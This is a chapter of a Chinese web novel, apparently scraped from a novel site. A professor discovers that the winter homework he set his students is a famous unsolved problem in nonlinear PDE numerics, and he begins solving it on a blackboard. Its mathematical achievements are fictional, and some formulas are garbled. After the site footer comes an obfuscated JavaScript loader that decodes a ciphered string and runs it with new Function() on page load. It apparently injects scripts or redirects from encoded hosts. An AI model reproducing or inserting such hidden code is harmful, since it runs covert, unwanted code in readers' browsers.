第七百三十二章:被随手干掉的世界级数学难题
第七百三十二章:被随手干掉的世界级数学难题
弱黎曼猜想被证明,通过将黎曼函数z收缩回詹森不等式的方式,re(s))=1/2这条临界带可以通过另一种方式进行压缩。
对于数学界而言,这是一场饕餮盛宴。
可以说绝大部分解析数论、代数数论、函数论,甚至是代数几何等研究方向的学者,都或多或少的研究过这条思路,尝试过对其进行推进。
包括陶哲轩、舒尔茨这些新生代的菲尔兹奖得主,都饶有兴趣的在此基础上尝试过进一步的研究。
甚至就连隐居在圣彼得堡的佩雷尔曼,都下载了徐川挂在arxiv上的论文,对照着这条思路在简陋的黑板上推进着它的极限。
这是一场席卷大半个数学界的风暴,抛开那些为了混论文的人来说,对于其他人似乎已经逐渐演变成一场竞赛游戏。
一场大半个数论领域的学者共同参与的游戏;一场利用这项工具推进詹森不等式偏移量,研究黎曼猜想re(s)取值的竞赛。
在这样的氛围下,短短三个月的时间,詹森不等式偏移量,即黎曼函数re(s)临界带已经被推进到了no(t)>0.731n(t)
对于已经在no(t)>0.35n(t)这一数值上卡了整整44年,接近半个世纪的黎曼猜想来说,这三个月彷如撒哈拉沙漠中的一场甘露,滋润出了无数的生机。
而对于数学界来说,让众多数学家更好奇的是,创造出这项工具的徐川教授,在这方面的研究到底有多深。
毕竟明眼人都可以看出来,当初他公开的那篇论文,no(t)>0.50n(t)远不是他的极限。
就连一些解析数论领域的博士生都能在这个基础上进一步拓展,没道理他这个创造者就只能止步于此。
所有人都在好奇,如果那位徐教授出手的话,又能将詹森不等式偏移量与黎曼函数re(s)临界带推进到一个怎么样的地步。
金陵,南大。
过完了元宵节后,学生的返校让这座冷清的校园中逐渐热闹了起来。
而伴随着《数学年刊》登陆了弱·黎曼猜想和《大正整数因子分解具备多项式算法的求解证明》论文,南大校门口的横幅也跟随着换动了一下。
《热烈庆祝我校徐川教授攻克弱·黎曼猜想!》
《热烈庆祝我校名誉教授刘嘉欣攻克‘大正整数因子分解是否具备多项式算法’猜想!》
两条大红色的横幅挂在了最显眼的位置,向外界大张旗鼓的‘炫耀’着南大数学系的‘强悍’,也吸引了无数前来报道的学子家长崇拜羡慕恭敬的目光。
办公室中,新年返校的第一天,徐川将五名学生喊了过来,从他们手中收上来了‘寒假’作业。
当偏微分方程为非线性且解有间断时,“高精度”格式在什么意义下仍然保持会高精度值?
这一问题是他去年年底留给几名学生的寒假作业,他并不要求几人能够解决掉这个问题,但要求他们在面向某一个难题的时候,都有自己的思考。
从几人的手中收上来了作业,徐川坐在办公桌后面一份份的翻阅着。
简略的翻了翻几名学生的作业,他叹了口气,将手中的稿件放在了桌上,看向了几名学生。
“从过小年到现在,时间也有二十来天么,你们都忙着放烟花去了么?交上来的都是些什么?”
目光落在几名学生身上,一个寒假,对于他留下的问题,从几名学生的答案上来看,他们的思考几乎都浮于浅面上。
很显然,这五名学生的答案远远没有达到他的要求。
最好的一份答案是年龄最大的丁瑞给出来的,但即便是这样,这份答案离这个问题的边界都没有触摸到。
这样的结果,不免让他有些失望。
毕竟当初他提出这个问题的时候,心里就已经有了一些把握和答案了。
留给他们二十天的时间,不说解决掉这个问题,至少在上面有一些研究进展是应该的吧?
“可是这个问题真的很难啊,教授。”
办公室中,殷诗低着头小声的嘀咕了一句。
徐川盯了她一眼,并没有在意她是个女生,冷淡的开口道:“难才有思考的意义,如果容易的话,留给你们做什么?”
“只有通过实际行动,才能真正了解问题的困难程度和解决方法。但很显然,在你们的作业上我并没有看到你们有多少的研究。”
“我不希望看到你们因为难而退却,更希望能看到你们在数学上的勇气.”
被徐川批了一顿,一旁的容新霁一脸无辜的看了过来,鼓起勇气小声的回应着:“但这是一个世界级猜想啊,教授!”
“哪有那么容易有进展的啊”
留一个世界级的数学猜想当做寒假作业,还要求在二十天内有研究进度,这是人能干出来的事情吗?
这会容新霁只想哭给他的看,这也太难了!
闻言,徐川愣了一下:“世界级猜想?”
“对啊,教授,不信的话你搜搜这个问题,它是‘非线性偏微分方程间断解问题的高精度格式’猜想的核心部分”
听到这话,徐川有些狐疑的看了他一眼,转身打开了电脑,截了段问题放在了搜索引擎上。
很快,一条条的搜索结果跳了出来,他随意点开了一条,进入看了一下。
“对于数值分析和科学计算而言,一个非常重要的研究领域是设计和分析求解偏微分方程的数值格式。”
“但至今为止,除去一些特殊情形,如事先知道间断的个数及能够精确地计算间断的位置外,没有一个数学理论来证明非线性方程间断解问题的“高精度”格式的数值解在某种范数意义下仍然保持高精度。”
“这仍然是一个从上个世纪三十年代提出至今仍然,尚未解决的世界级难题。”
“在偏微分方程领域,它的重要性不亚于梅森素数中的周氏猜测,关于非线性方程高精度的真正含义的严格数学理论的研究将会是非常有意义的工作。”
简略的翻了翻搜索出来的资料,徐川有些懵。
过年前他随随便便提的一个问题,可以说算是对开小课时讲解后拓展而来的问题,怎么就成了一个世界级的数学猜想了?
而将这个猜想比作梅森素数中的周氏猜测,更是让他有些茫然。
周氏猜测是华国数学家及语言学家周海中教授在《梅森素数的分布规律》一文中以精确表达式提出的猜测。
这一猜测是梅森素数的精确表达式,且颇具数学美。
不过至今为止,它未被证明或反证,已成了一个著名的数学难题。
虽然重要性和难度并不是一回事,但能够相提并论,也足以见得这个问题并不是那么的简单。
至少,说它是一道世界级的数学难题,还是足够的。
收回了落在电脑屏幕上的视线,徐川看向几名学生,脸上的表情有些尴尬又有些茫然。
将一个世界级的数学难题当做寒假作业给学生布置下去,这的确有点过于离谱了。
不过,这个问题.真的有那么难么?
思索了一会,徐川起身走向办公室的另一边,从墙角拖出来了一面折叠的黑板板,拉开了两面,立在了自己的面前。
从一旁的笔篓中拾起了记号笔,他盯着面前的黑板思索了一会。
一般来说,求解fisher方程的发展主要利用解析方法来进行。而在求解微分方程的各种数值迭代方法中,非标准有限差分方法是其中最有效的方法之一。
不过怎么样去构造一个非标准差分格式的时候,考虑“精确”格式的概念使得构造精确有限差分格式在构造新的数值算法的研究中很重要。
即mt=mmxx+m(1-m),而它的波形解形式如下:m(x,t)=1/(1+e^b·e·x-5t/6/6),而其中t≥0,b是常数。并且满足:0≤m(x,t)≤1,当xb时u(x,0)=0
站在黑板面前,徐川思索着非线性偏微分方程间断解问题的高精度格式这一问题。
身后,几名学生一脸懵逼的看着自家教授,一时间有些没弄懂他到底想做什么。
“教授这是做什么?”站在身后,容新霁用手指捅了捅身旁的丁瑞,好奇的小声问道。
丁瑞思索了一下,摇摇头道:“不知道,可能是想给我们讲解一下那个问题?”
黑板前,徐川没理会几名学生的窃窃私语。
在脑海中思忖了一会后,他抬起了手中的记号笔,白色的粉线落在了黑色的面板上,勾勒出一个个的数学符号。
【ut+auδuxuxx=βu(1uδ)(uδγ)】
【波形为:u(x,t)=(γ/2+γ/2tanh[a(xat)])1/δ】
看着黑板上的算式,徐川眼神闪烁着思索的光芒,嘴里在轻声的念叨着。
“.利用方程的精确行波解和构造精确差分的思想,可以给出一个特别的fisher方程,不过即便是特别fisher方程,其精确差分格式在形式上也非常的复杂。”
“为了使用上的方便,可以精确有限差分格式得到两个形式简单的非标准有限差分格式。即构造的一个非标准有限差分方法的步长函数,使其在计算过程中不断变化”
一行行的算式伴随着一句句喃喃自语被不断的抒写在面前的白板上。
站在徐川身后,几名学生已经彻底的懵逼了。
直到眼前的算式铺满了一整面的黑板,才有人反应了过来。
震撼的看着黑板上的算式,一直作为小透明的童扬忽然深吸了口气,忍不住开口道:“卧槽.教授他,该不会是在解决那个难题吧?”
“难题?哪个难题?”有人下意识的问道。
“我们寒假作业的那个!”
“啊?不会吧?!那可是一道世界级难题!”
学生中,小小的讨论带着震撼的情绪,哪怕是知道自家导师的数学能力很强,但谁也不敢想,一道世界级的数学难题会以这样的方式进行解决。
站在徐川身后,看着前面的背影和正在快速书写的手臂,只感觉自己的头皮一阵发麻。
就在徐川写满一张面板,移步到另一边的时候,她想起了什么,快速的从兜里摸出了手机,打开了照相机。
视频录制开启,眼前的版面快速的收入照片中。
虽然黑板上的算式她已经看不懂了,但遇事不要慌,先用手机拍下来,等下可以发个朋友圈装.咳咳,是炫耀一波!
毕竟如果这真的和预想中一样,那这绝对是不能错过的历史性时刻!
她都不敢想象,如果这要是真的,那她这个导师在数学上的能力到底有多强!
一个被随手干掉的世界级数学难题,能证明这一点吗?
太可怕了!
黑板前,徐川并没有注意身后几名学生的窃窃私语。此刻他已经全然沉浸在了自己的世界中。
手中的粉笔不断的在黑板上划过,一行有一行的算式不断悄然跃入他的瞳孔中。
对fisher方程的非标准有限差分格式进行局部构造和截断误差,再通过burgers方程进行数值算例,利用耦合进常系数对流扩散方程进行非标准θ-算法
一条条的数学公式在他手中浮现,如同最完美的钢琴师演奏出来的美妙音符一般,流淌在面前的黑板上。
在这一刻,眼前的数字仿佛是最美妙的东西,所有的算式如同最默契的伙伴一般,随心所欲的跟随着他前进的脚步。
面前黑板上的算式被写满后又擦去,干净利落的字符和公式又快速的铺满整个版面。
一个又一个的问题被不断抒写的公式解决,一道又一道的难槛被不断越过。
对于他来说,非线性偏微分方程间断解问题的高精度格式这一难题虽然的确有一些难度。
但在此刻脑海中喷涌而出的灵感面前,它就如同面临洪水冲击的泥沙堤坝一般,顷刻之间就倒在了滚滚流水中,最终汇聚在一起,向着最下游的知识海洋流去.
一秒记住【882小说网】
882xsw.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();